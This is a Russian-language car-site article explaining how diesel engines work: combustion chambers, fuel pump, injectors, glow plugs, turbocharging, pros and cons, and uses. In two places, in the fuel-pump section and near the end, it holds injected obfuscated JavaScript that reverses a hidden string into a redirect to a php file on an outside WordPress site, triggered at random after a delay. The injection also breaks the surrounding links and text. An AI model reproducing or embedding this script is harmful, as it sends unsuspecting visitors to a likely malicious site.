Дизельный двигатель и его принцип действия

Рассмотрим историю создания, принцип работы дизельного двигателя, попытаемся разобраться в причинах популярности, его конструктивные особенности, преимущества, недостатки и область применения.

Немного истории

Принцип работы дизельного двигателя

И все-таки в чем принцип работы дизельного двигателя? Принцип работы дизеля состоит в компрессионном воспламенении топлива в камере сгорания при смешивании с разогретой воздушной смесью.

Подача смеси происходит раздельно ‒ сначала нагнетается воздух, затем поршень сжимает его и в верхней мертвой точке происходит впрыск топлива через форсунку

Воздух, в процессе сжатия разогревается до 800ºС , топливо поступает давлением до 30 МПа, происходит самовоспламенение.

Этот процесс сопровождается вибрациями и шумом. То есть дизель ‒ более шумный по сравнению с бензиновым движком.

Принцип работы дизельного двигателя позволяет быть двигателям как двух, так и четырехтактными, но основная масса автомобилей, все-таки, оснащены четырехтактными движками.

В двухтактном дизеле, по сравнению с четырёхтактным, ввиду другого принципа работы, совмещения двух тактов, впуска и выпуска (продувки).

Двухтактный вариант мощнее аналогичного по объёму четырёхтактного примерно в полтора раза.

Конструкция дизельного двигателя

Дизельный мотор почти не отличается от бензинового ‒ в нем лишь нет системы зажигания, а принцип действия дизельного двигателя ‒ поджиг топливной смеси не от свечи зажигания, а от нагретого высоким давлением воздуха.

Правда, высокое давление (до 30 атм.) в камере сгорания предполагает повышенные требования к деталям.

Разделенная камера сгорания

В таком устройстве топливная смесь подается не в основную, а в дополнительную вихревую камеру.

Она расположена в головке блока цилиндров и соединена с цилиндром через специальный канал. Воспламенение происходит в вихревой камере, а распространяется в основную камеру.Неразделенная камера сгорания

При такой конструкции камера находится в поршне, а топливная смесь поступает в полость над поршнем.

Этот вариант камеры позволяет снизить расход топлива, но повышает уровень шума в процессе работы двигателя.Разделенная форкамера

Дизельный мотор оснащен вставной форкамерой, она соединена с цилиндром каналами малого сечения.

Размер и форма каналов влияют на скорость движения газов во время сгорания топлива, при этом снижается уровень шума и токсичность, увеличивается ресурс.Главные элементы топливной системы

• насос высокого давления для подачи топлива (toplivnyj-nasos-vysokogo-davleniya-tnvd.html» target=»_blank» rel=»noopener noreferrer»>ТНВД);
• топливный фильтр;
• ТНВД

  Насос осуществляет подачу топлива в форсунки в количестве, которое зависит от оборотов, положения регуляторного рычага и показателей давления турбонаддува.

  В современных дизелях применяются две системы топливных насосов – рядные (плунжерные) или распределительные. Подробно о насосах toplivnyj-nasos-vysokogo-davleniya-tnvd.html» target=»_blank» rel=»noopener noreferrer»>здесь.

  $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/sistema-vpryska-topliva-common-rail.html» target=»_blank» rel=»noopener noreferrer»>Common Rail, их называют магистральные.

  В системе Common Rail ТНВД закачивает топливо в рампу, где поддерживается давление во всех каналах до форсунок.

  Специальные форсунки же управляются электроникой и в нужный момент открываются для впрыска топлива в камеру сгорания. Про эту систему вы можете прочитать topliva-common-rail.html» target=»_blank» rel=»noopener noreferrer»>здесь.

  Топливный фильтр

  Фильтр устанавливается исходя из модели движка. Его функция – выделение и удаление воды из солярки и излишнего воздуха из системы.

  Форсунки

  Для подачи топливной смеси в камеры сгорания применяют два типа форсунок – с многодырчатыми и шрифтовыми распределителями.

  Распределителем форсунок определяется форма факела, необходимая для более эффективного процесса воспламенения.

  Предпусковой подогрев

  Для холодного пуска дизеля используется предпусковой подогрев. Он обеспечивается свечами накаливания, установленными в камере сгорания.

  При запуске свечи накаливания разогреваются до 900ºС, подогревая воздушную смесь, которая поступает в камеру.

  Система подогрева даёт возможность безопасно осуществить запуск даже при самых низких температурах.

  Турбонаддув

  С помощью турбонаддува в дизельных двигателях повышается мощность и эффективность работы.

  С увеличением подачи воздуха, обеспечивается повышенное давление в цилиндрах, соответственно улучшается сгорание смеси, тем самым повышая мощность двигателя.

  Чтобы получить оптимальное давление наддува на всех рабочих режимах используется турбонагнетатель (турбина).

   

  Преимущества и недостатки дизеля

  Преимущества

  Главное преимущество дизеля – в его тяговитости. Он способен развивать большую мощность на низких оборотах, легко переносит перегрузки, резкие торможения и старты.

  Второй плюс – экономичность. Литр солярки стоит немного дешевле, чем литр высокоактанового бензина, хотя продавцы топлива безсовестно уравнивают его с самым дорогим бензином.

  Коэффициент полезного действия дизельного двигателя на средних оборотах доходит до 45 процентов, а с турбонаддувом и вовсе ‒ 50, для бензинового движка такие цифры вообще не реальны. К тому же дизель расходует меньше топлива.

  Третий плюс – экологичность. У дизеля ниже токсичностью отработанных газов.

  Следующее достоинство – долговечность и надёжность, так как дизтопливо одновременно и смазочный материал, предохраняющий от износа узлы двигателя.

  Недостатки

  Что касается недостатков, то один из самых существенных ‒ слабая морозоустойчивость. Летнее топливо становится густым при минус 5°С, зимнее ‒ при минус 35°С.

  Ремонт дизеля и бензинового двигателя по стоимости примерно равноценны, если из строя не выйдет ТНВД. В таком случае владелец попадает на серьёзные деньги. А ломается toplivnyj-nasos-vysokogo-davleniya-tnvd.html» target=»_blank» rel=»noopener noreferrer»>ТНВД от отечественной солярки низкого качества. В свою очередь хорошее импортное горючее ‒ это уже несколько другая цена.

  Дизельный двигатель хорош на малых и средних скоростях. Желание выжать из него максимум оборотов приносит быстрый износ узлов и деталей.

  А ещё авто в дизельном варианте может стоить на треть дороже бензинового аналога.

  У турбодизеля свои недостатки ‒ ресурс турбокомпрессора меньше ресурса самого двигателя. Обычно это не более 150.000 километров. К тому же турбина предъявляет повышенные требования по качеству моторного масла.

  Ну и на счёт запаха выхлопов у дизельного движка. Возможно для кого-то это не критично, но запах есть, и при этом достаточно неприятный.

  Области применения

  В настоящее время дизельные двигатели используют:

  • на тяжелых грузовиках;
  • на стационарных силовых установках;
  • на легковых и грузовых машинах;
  • на тепловозах и судах;
  • на сельскохозяйственной, специальной и строительной технике.

  $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-ru.ru/benzinovyj-ili-dizelnyj-dvigatel.html» target=»_blank» rel=»noopener noreferrer»>бензиновый или дизельный.

  Просто приходите на сайт!

  Тэги

  двигатель